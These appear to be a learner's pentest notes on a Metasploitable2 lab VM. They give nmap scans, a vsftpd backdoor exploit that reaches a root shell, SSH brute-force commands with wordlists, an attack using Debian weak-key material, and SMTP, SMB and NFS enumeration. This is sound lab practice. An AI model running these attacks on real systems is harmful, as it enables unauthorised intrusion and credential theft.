meta

ip -- 192.168.31.137'

nmap

```
 7.70 ( https://nmap.org ) at 2019-09-16 13:37 EDT
Nmap scan report for 192.168.31.137
Host is up (0.0011s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.31.154
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2019-09-16T17:38:06+00:00; -3s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
53/tcp   open  domain      ISC BIND 9.4.2
| dns-nsid:
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2           111/tcp  rpcbind
|   100000  2           111/udp  rpcbind
|   100003  2,3,4      2049/tcp  nfs
|   100003  2,3,4      2049/udp  nfs
|   100005  1,2,3     58226/udp  mountd
|   100005  1,2,3     58710/tcp  mountd
|   100021  1,3,4     34932/udp  nlockmgr
|   100021  1,3,4     55036/tcp  nlockmgr
|   100024  1         54697/udp  status
|_  100024  1         56834/tcp  status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
```

```
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    Java RMI Registry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info:
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: ConnectWithDatabase, Support41Auth, SupportsTransactions, SupportsCompression, LongColumnFlag,
SwitchToSSLAfterHandshake, Speaks41ProtocolNew
|   Status: Autocommit
|_  Salt: .8mA:>iu3:gzO\_I2ZQf
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2019-09-16T17:38:07+00:00; -3s from scanner time.
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info:
|   Protocol version: 3.3
|   Security types:
|_    VNC Authentication (2)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
| irc-info:
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN
|   uptime: 0 days, 0:07:39
|   source ident: nmap
|   source host: 35E4B270.EDAFDF4B.FFFA6D49.IP
|_  error: Closing Link: kcrqfczxm[192.168.31.154] (Quit: kcrqfczxm)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
MAC Address: 00:0C:29:54:AE:B7 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/
o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h19m57s, deviation: 2h18m34s, median: -3s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   NetBIOS computer name:
|   Workgroup: WORKGROUP\x00
|_  System time: 2019-09-16T13:38:05-04:00
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   1.13 ms 192.168.31.137

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.17 seconds
```

nmap-udp

```
 nmap -Pn -n -sU -sV 192.168.31.137
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-16 13:38 EDT
Nmap scan report for 192.168.31.137
Host is up (0.00068s latency).
Not shown: 993 closed ports
PORT     STATE         SERVICE     VERSION
53/udp   open          domain      ISC BIND 9.4.2
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
111/udp  open          rpcbind
137/udp  open          netbios-ns  Samba nmbd netbios-ns (workgroup: WORKGROUP)
138/udp  open|filtered netbios-dgm
2049/udp open          rpcbind
MAC Address: 00:0C:29:54:AE:B7 (VMware)
Service Info: Host: METASPLOITABLE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

ftp exploit

ftp anonymous login but found nothing

```
Downloads/Python-Vsftpd-2.3.4-Exploit-master# ./exploit.py 192.168.31.137 21
Author:İbrahim
https://github.com/Andhrimnirr/Python-Vsftpd-2.3.4-Exploit
[+] SUCCESSFUL CONNECTİON
[*] SESSION CREATED
[!] Interactive shell to check >> use command shell_check
192.168.31.137@root#:
```

ftp_user_proftpd + ssh

```
oot@kali:~# ftp 192.168.31.137
Connected to 192.168.31.137.
220 (vsFTPd 2.3.4)
Name (192.168.31.137:root): user
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 May 07  2010 .
drwxr-xr-x    6 0        0            4096 Apr 16  2010 ..
-rw-------    1 1001     1001          854 Sep 16 18:46 .bash_history
-rw-r--r--    1 1001     1001          220 Mar 31  2010 .bash_logout
-rw-r--r--    1 1001     1001         2928 Mar 31  2010 .bashrc
-rw-r--r--    1 1001     1001          586 Mar 31  2010 .profile
drwx------    2 1001     1001         4096 May 07  2010 .ssh
226 Directory send OK.
ftp> get .ssh
local: .ssh remote: .ssh
200 PORT command successful. Consider using PASV.
550 Failed to open file.
ftp> ls -la
```

```
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001        4096 May 07  2010 .
drwxr-xr-x    6 0        0           4096 Apr 16  2010 ..
-rw-------    1 1001     1001         854 Sep 16 18:46 .bash_history
-rw-r--r--    1 1001     1001         220 Mar 31  2010 .bash_logout
-rw-r--r--    1 1001     1001        2928 Mar 31  2010 .bashrc
-rw-r--r--    1 1001     1001         586 Mar 31  2010 .profile
drwx------    2 1001     1001        4096 May 07  2010 .ssh
226 Directory send OK.
ftp> cat .bash_history
?Invalid command
ftp> cd .ssh
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-------    1 1001     1001         668 May 07  2010 id_dsa
-rw-r--r--    1 1001     1001         609 May 07  2010 id_dsa.pub
226 Directory send OK.
ftp> get id_dsa
local: id_dsa remote: id_dsa
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for id_dsa (668 bytes).
226 Transfer complete.
668 bytes received in 0.00 secs (594.1200 kB/s)
ftp> cd ..
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001        4096 May 07  2010 .
drwxr-xr-x    6 0        0           4096 Apr 16  2010 ..
-rw-------    1 1001     1001         854 Sep 16 18:46 .bash_history
-rw-r--r--    1 1001     1001         220 Mar 31  2010 .bash_logout
-rw-r--r--    1 1001     1001        2928 Mar 31  2010 .bashrc
-rw-r--r--    1 1001     1001         586 Mar 31  2010 .profile
drwx------    2 1001     1001        4096 May 07  2010 .ssh
226 Directory send OK.
ftp> cat .bash_history
?Invalid command
ftp> exit
221 Goodbye.
root@kali:~# chmod 644 id_dsa
```

ssh -i id_dsa msfadmin@ip

ssh

no exploit

try

nmap -p22 --script=ssh-brute.nse 192.168.31.137

ncrack -p 22 -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/wordlists/rockyou.txt 192.168.31.137

hydra -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/metasploit-framework/data/wordlists/mirai_pass.txt 192.168.31.137 -t 4 -e nsr ssh

medusa -f -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/wordlists/rockyou.txt -h 192.168.31.137 -M ssh

root@kali:~/Desktop# medusa -f -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_users.txt -h 192.168.31.137 -M ssh

ncrack -p ssh -u root -P 500-worst-passwords.txt -T5 192.168.31.155

ncrack -p 22 --user user -P /usr/share/wordlists/rockyou.txt 192.168.31.137

we got a user with user pass

searchsploit-exploit

Getting access to a system with a writeable filesystem
add_ssh_key.py
Since the nmap shows the openssh version is 4.7. I googled it and find it use Openssl 0.9.8g
search openssl exploit:

found openssl 0.9.8-1 <= exploits 5622 , 5632 , 5720

Looks like these exploits can be used. The vulnerability is CVE-2008-0166.
I use 5720.py.
First, download precalculated vulnerable keys
`wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2`
unzip it
`tar jxf 5622.tar.bz2`
run the command:
`python 5720.py rsa/2048/ 192.168.31.139 root 22 5`
rsa/2048 is the folder contains the keys.
Found keys:

telnet

root@kali:~/Downloads/exploits# telnet 192.168.31.137 23
Trying 192.168.31.137...
Connected to 192.168.31.137.
Escape character is '^]'.

```
          _                  _       _ _      _       _     _____
 _ __ ___  ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ |___ /
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \  |_ \
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) |___) |
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|____/
                            |_|
```

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:

Login incorrect
metasploitable login: msfamdin
Password:

Login incorrect
metasploitable login: msfadmin
Password:
Last login: Thu Aug 22 11:35:01 EDT 2019 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ sudo -s
[sudo] password for msfadmin:
root@metasploitable:~#

auxilary-way

```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > set rhosts 192.168.31.137
msf auxiliary(telnet_version) > run
```

smtp

enumrate the users

/usr/share/metasploit-framework/data/wordlists/unix_users.txt

in smtp there is an attack open relay

smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.31.137

Starting smtp-user-enum v1.2 (http://pentestmonkey.net/tools/smtp-user-enum)

| Scan Information |

Mode ..... VRFY
Worker Processes 5
Usernames file ..... /usr/share/metasploit-framework/data/wordlists/unix_users.txt
Target count 1
Username count 113
Target TCP port 25
Query timeout ..... 5 secs
Target domain .....

######## Scan started at Mon Sep 16 14:54:30 2019 #########
192.168.31.137: ROOT exists
192.168.31.137: backup exists
192.168.31.137: bin exists
192.168.31.137: daemon exists
192.168.31.137: distccd exists
192.168.31.137: games exists
192.168.31.137: ftp exists
192.168.31.137: gnats exists
192.168.31.137: irc exists
192.168.31.137: libuuid exists
192.168.31.137: list exists
192.168.31.137: lp exists
192.168.31.137: mail exists
192.168.31.137: man exists
192.168.31.137: news exists
192.168.31.137: nobody exists
192.168.31.137: postmaster exists
192.168.31.137: postgres exists
192.168.31.137: proxy exists
192.168.31.137: root exists
192.168.31.137: service exists
192.168.31.137: sshd exists
192.168.31.137: sync exists
192.168.31.137: sys exists
192.168.31.137: syslog exists
192.168.31.137: uucp exists
192.168.31.137: user exists
192.168.31.137: www-data exists
######## Scan completed at Mon Sep 16 14:54:33 2019 #########
28 results.

http

root@kali:/usr/share/nmap/scripts# nmap -Pn -n -p80 --script=http-enum 192.168.31.137
Starting Nmap 7.70 (https://nmap.org) at 2019-09-16 15:01 EDT
Nmap scan report for 192.168.31.137
Host is up (0.00088s latency).

PORT   STATE SERVICE
80/tcp open http
| http-enum:
| /tikiwiki/: Tikiwiki
| /test/: Test page
| /phpinfo.php: Possible information file
| /phpMyAdmin/: phpMyAdmin
| /doc/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) dav/2'
| /icons/: Potentially interesting folder w/ directory listing
|_ /index/: Potentially interesting folder
MAC Address: 00:0C:29:54:AE:B7 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.68 second

---

dirb http://192.168.31.137 -X .php

```
use  exploit/unix/webapp/twiki_history
```

use phpinfo to get version of php and try

```
exploit/multi/http/php_cgi_arg_injection
```

smb

```
nmap -Pn -n -p139,445 --script=smb-os-discovery 192.168.31.137
```

```
root@kali:/usr/share/nmap/scripts# nmap -Pn -n -p139,445 --script=smb-enum-users 192.168.31.137
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-16 15:24 EDT
Nmap scan report for 192.168.31.137
Host is up (0.00085s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:54:AE:B7 (VMware)

Host script results:
| smb-enum-users:
|   METASPLOITABLE\backup (RID: 1068)
|     Full name:   backup
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\bin (RID: 1004)
|     Full name:   bin
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\bind (RID: 1210)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\daemon (RID: 1002)
|     Full name:   daemon
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\dhcp (RID: 1202)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\distccd (RID: 1222)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\ftp (RID: 1214)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\games (RID: 1010)
|     Full name:   games
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\gnats (RID: 1082)
|     Full name:   Gnats Bug-Reporting System (admin)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\irc (RID: 1078)
|     Full name:   ircd
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\klog (RID: 1206)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\libuuid (RID: 1200)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\list (RID: 1076)
|     Full name:   Mailing List Manager
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\lp (RID: 1014)
|     Full name:   lp
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\mail (RID: 1016)
|     Full name:   mail
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\man (RID: 1012)
```

```
|     Full name:   man
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\msfadmin (RID: 3000)
|     Full name:   msfadmin,,,
|     Flags:       Normal user account
|   METASPLOITABLE\mysql (RID: 1218)
|     Full name:   MySQL Server,,,
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\news (RID: 1018)
|     Full name:   news
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\nobody (RID: 501)
|     Full name:   nobody
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\postfix (RID: 1212)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\postgres (RID: 1216)
|     Full name:   PostgreSQL administrator,,,
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\proftpd (RID: 1226)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\proxy (RID: 1026)
|     Full name:   proxy
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\root (RID: 1000)
|     Full name:   root
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\service (RID: 3004)
|     Full name:   ,,,
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\sshd (RID: 1208)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\sync (RID: 1008)
|     Full name:   sync
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\sys (RID: 1006)
|     Full name:   sys
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\syslog (RID: 1204)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\telnetd (RID: 1224)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\tomcat55 (RID: 1220)
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\user (RID: 3002)
|     Full name:   just a user,111,,
|     Flags:       Normal user account
|   METASPLOITABLE\uucp (RID: 1020)
|     Full name:   uucp
|     Flags:       Account disabled, Normal user account
|   METASPLOITABLE\www-data (RID: 1066)
|     Full name:   www-data
|_    Flags:       Account disabled, Normal user account
```

smbmap

```
smbmap -H 192.168.31.137
[+] Finding open SMB ports....
[+] User SMB session establishd on 192.168.31.137...
[+] IP: 192.168.31.137:445   Name: 192.168.31.137
        Disk                                    Permissions
        ----                                    -----------
        print$                                  NO ACCESS
        tmp                                     READ, WRITE
        opt                                     NO ACCESS
        IPC$                                    NO ACCESS
        ADMIN$                                  NO ACCES
```

smclient

smbclient //192.168.31.137/tmp
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ?
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
more mput newer notify open
posix posix_encrypt posix_open posix_mkdir posix_rmdir
posix_unlink posix_whoami print prompt put
pwd q queue quit readlink
rd recurse reget rename reput
rm rmdir showacls setea setmode
scopy stat symlink tar tarmode
timeout translate unlock volume vuid
wdel logon listconnect showconnect tcon
tdis tid utimes logoff ..
!

---

root@kali:~# smbclient -L 192.168.31.137
Enter WORKGROUP\root's password:
Anonymous login successful

	Sharename Type Comment
	--------- ---- -------
	print$ Disk Printer Drivers
	tmp Disk oh noes!
	opt Disk
	IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
	ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

	Server Comment
	--------- -------

	Workgroup Master
	--------- -------
	WORKGROUP METASPLOITABLE

```
use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set rhost 192.168.79.179
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit
```

nfs-share

root@kali:/usr/share/nmap/scripts# nmap -Pn -n -p111,2049 --script=nfs-showmount 192.168.31.137
Starting Nmap 7.70 (https://nmap.org) at 2019-09-16 15:10 EDT
Nmap scan report for 192.168.31.137
Host is up (0.00094s latency).

```
PORT     STATE SERVICE
111/tcp  open  rpcbind
| nfs-showmount:
|_  / *
2049/tcp open  nfs
MAC Address: 00:0C:29:54:AE:B7 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds


------------------------------------------------------------------
 showmount -e 192.168.31.137
Export list for 192.168.31.137:
/ *


mkdir /tmp/show

mount -t nfs ip:/ /tmp/show

---------->>> vulnix  and password
```

rpcinfo

```
   2    tcp       0.0.0.0.0.111          portmapper unknown
   100000    2    udp       0.0.0.0.0.111          portmapper unknown
   100024    1    udp       0.0.0.0.182.9          status     unknown
   100024    1    tcp       0.0.0.0.162.212        status     unknown
   100003    2    udp       0.0.0.0.8.1            nfs        unknown
   100003    3    udp       0.0.0.0.8.1            nfs        unknown
   100003    4    udp       0.0.0.0.8.1            nfs        unknown
   100021    1    udp       0.0.0.0.231.63         nlockmgr   unknown
   100021    3    udp       0.0.0.0.231.63         nlockmgr   unknown
   100021    4    udp       0.0.0.0.231.63         nlockmgr   unknown
   100003    2    tcp       0.0.0.0.8.1            nfs        unknown
   100003    3    tcp       0.0.0.0.8.1            nfs        unknown
   100003    4    tcp       0.0.0.0.8.1            nfs        unknown
   100021    1    tcp       0.0.0.0.201.129        nlockmgr   unknown
   100021    3    tcp       0.0.0.0.201.129        nlockmgr   unknown
   100021    4    tcp       0.0.0.0.201.129        nlockmgr   unknown
   100005    1    udp       0.0.0.0.228.117        mountd     unknown
   100005    1    tcp       0.0.0.0.186.110        mountd     unknown
   100005    2    udp       0.0.0.0.228.117        mountd     unknown
   100005    2    tcp       0.0.0.0.186.110        mountd     unknown
   100005    3    udp       0.0.0.0.228.117        mountd     unknown
   100005    3    tcp       0.0.0.0.186.110        mountd     unknown
```

enum4linux

```
enum4linux -a 192.168.31.137
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Sep 17 14:41:27 2019


 ==========================================================
|    Enumerating Workgroup/Domain on 192.168.31.137    |
 ==========================================================
[+] Got domain/workgroup name: WORKGROUP

 ============================================
|    Nbtstat Information for 192.168.31.137    |
 ============================================
Looking up status of 192.168.31.137
```

```
        METASPLOITABLE  <00> -         B <ACTIVE>  Workstation Service
        METASPLOITABLE  <03> -         B <ACTIVE>  Messenger Service
        METASPLOITABLE  <20> -         B <ACTIVE>  File Server Service
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ========================================
|    Session Check on 192.168.31.137    |
 ========================================
[+] Server 192.168.31.137 allows sessions using username '', password ''

 ================================================
|    Getting domain SID for 192.168.31.137    |
 ================================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ========================================
|    OS information on 192.168.31.137    |
 ========================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 192.168.31.137 from smbclient:
[+] Got OS info for 192.168.31.137 from srvinfo:
        METASPLOITABLE Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian)
        platform_id     :   500
        os version      :   4.9
        server type     :   0x9a03

 ==================================
|    Users on 192.168.31.137    |
 ==================================
index: 0x1 RID: 0x3f2 acb: 0x00000011 Account: games            Name: games       Desc: (null)
index: 0x2 RID: 0x1f5 acb: 0x00000011 Account: nobody           Name: nobody      Desc: (null)
index: 0x3 RID: 0x4ba acb: 0x00000011 Account: bind     Name: (null)        Desc: (null)
index: 0x4 RID: 0x402 acb: 0x00000011 Account: proxy    Name: proxy         Desc: (null)
index: 0x5 RID: 0x4b4 acb: 0x00000011 Account: syslog           Name: (null)        Desc: (null)
index: 0x6 RID: 0xbba acb: 0x00000010 Account: user     Name: just a user,111,,     Desc: (null)
index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data         Name: www-data    Desc: (null)
index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root     Name: root          Desc: (null)
index: 0x9 RID: 0x3fa acb: 0x00000011 Account: news     Name: news          Desc: (null)
index: 0xa RID: 0x4c0 acb: 0x00000011 Account: postgres         Name: PostgreSQL administrator,,,       Desc: (null)
index: 0xb RID: 0x3ec acb: 0x00000011 Account: bin      Name: bin           Desc: (null)
index: 0xc RID: 0x3f8 acb: 0x00000011 Account: mail     Name: mail          Desc: (null)
index: 0xd RID: 0x4c6 acb: 0x00000011 Account: distccd          Name: (null)        Desc: (null)
index: 0xe RID: 0x4ca acb: 0x00000011 Account: proftpd          Name: (null)        Desc: (null)
index: 0xf RID: 0x4b2 acb: 0x00000011 Account: dhcp     Name: (null)        Desc: (null)
index: 0x10 RID: 0x3ea acb: 0x00000011 Account: daemon          Name: daemon      Desc: (null)
index: 0x11 RID: 0x4b8 acb: 0x00000011 Account: sshd    Name: (null)        Desc: (null)
index: 0x12 RID: 0x3f4 acb: 0x00000011 Account: man     Name: man           Desc: (null)
index: 0x13 RID: 0x3f6 acb: 0x00000011 Account: lp      Name: lp            Desc: (null)
index: 0x14 RID: 0x4c2 acb: 0x00000011 Account: mysql           Name: MySQL Server,,,       Desc: (null)
index: 0x15 RID: 0x43a acb: 0x00000011 Account: gnats           Name: Gnats Bug-Reporting System (admin)      Desc: (null)
index: 0x16 RID: 0x4b0 acb: 0x00000011 Account: libuuid         Name: (null)        Desc: (null)
index: 0x17 RID: 0x42c acb: 0x00000011 Account: backup          Name: backup        Desc: (null)
index: 0x18 RID: 0xbb8 acb: 0x00000010 Account: msfadmin        Name: msfadmin,,,           Desc: (null)
index: 0x19 RID: 0x4c8 acb: 0x00000011 Account: telnetd         Name: (null)        Desc: (null)
index: 0x1a RID: 0x3ee acb: 0x00000011 Account: sys     Name: sys           Desc: (null)
index: 0x1b RID: 0x4b6 acb: 0x00000011 Account: klog    Name: (null)        Desc: (null)
index: 0x1c RID: 0x4bc acb: 0x00000011 Account: postfix          Name: (null)        Desc: (null)
index: 0x1d RID: 0xbbc acb: 0x00000011 Account: service          Name: ,,,           Desc: (null)
index: 0x1e RID: 0x434 acb: 0x00000011 Account: list     Name: Mailing List Manager          Desc: (null)
index: 0x1f RID: 0x436 acb: 0x00000011 Account: irc      Name: ircd          Desc: (null)
index: 0x20 RID: 0x4be acb: 0x00000011 Account: ftp     Name: (null)        Desc: (null)
index: 0x21 RID: 0x4c4 acb: 0x00000011 Account: tomcat55        Name: (null)        Desc: (null)
index: 0x22 RID: 0x3f0 acb: 0x00000011 Account: sync    Name: sync          Desc: (null)
index: 0x23 RID: 0x3fc acb: 0x00000011 Account: uucp    Name: uucp          Desc: (null)
```

user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b4]
user:[user] rid:[0xbba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[postgres] rid:[0x4c0]
user:[bin] rid:[0x3ec]
user:[mail] rid:[0x3f8]
user:[distccd] rid:[0x4c6]
user:[proftpd] rid:[0x4ca]
user:[dhcp] rid:[0x4b2]
user:[daemon] rid:[0x3ea]
user:[sshd] rid:[0x4b8]
user:[man] rid:[0x3f4]
user:[lp] rid:[0x3f6]
user:[mysql] rid:[0x4c2]
user:[gnats] rid:[0x43a]
user:[libuuid] rid:[0x4b0]
user:[backup] rid:[0x42c]
user:[msfadmin] rid:[0xbb8]
user:[telnetd] rid:[0x4c8]
user:[sys] rid:[0x3ee]
user:[klog] rid:[0x4b6]
user:[postfix] rid:[0x4bc]
user:[service] rid:[0xbbc]
user:[list] rid:[0x434]
user:[irc] rid:[0x436]
user:[ftp] rid:[0x4be]
user:[tomcat55] rid:[0x4c4]
user:[sync] rid:[0x3f0]
user:[uucp] rid:[0x3fc]

 ==
| Share Enumeration on 192.168.31.137 |
 ==

        Sharename   Type   Comment
        ---------   ----   -------
        print$ Disk   Printer Drivers
        tmp   Disk   oh noes!
        opt   Disk
        IPC$ IPC   IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$ IPC   IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.

        Server   Comment
        ---------   -------

        Workgroup   Master
        ---------   -------
        WORKGROUP   METASPLOITABLE

[+] Attempting to map shares on 192.168.31.137
//192.168.31.137/print$ Mapping: DENIED, Listing: N/A
//192.168.31.137/tmp   Mapping: OK, Listing: OK
//192.168.31.137/opt   Mapping: DENIED, Listing: N/A
//192.168.31.137/IPC$ [E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing *
//192.168.31.137/ADMIN$ Mapping: DENIED, Listing: N/A

 ==
| Password Policy Information for 192.168.31.137 |
 ==

[+] Attaching to 192.168.31.137 using a NULL share

[+] Trying protocol 445/SMB...

[+] Found domain(s):

	[+] METASPLOITABLE
	[+] Builtin

[+] Password Info for Domain: METASPLOITABLE

	[+] Minimum password length: 5
	[+] Password history length: None
	[+] Maximum password age: Not Set
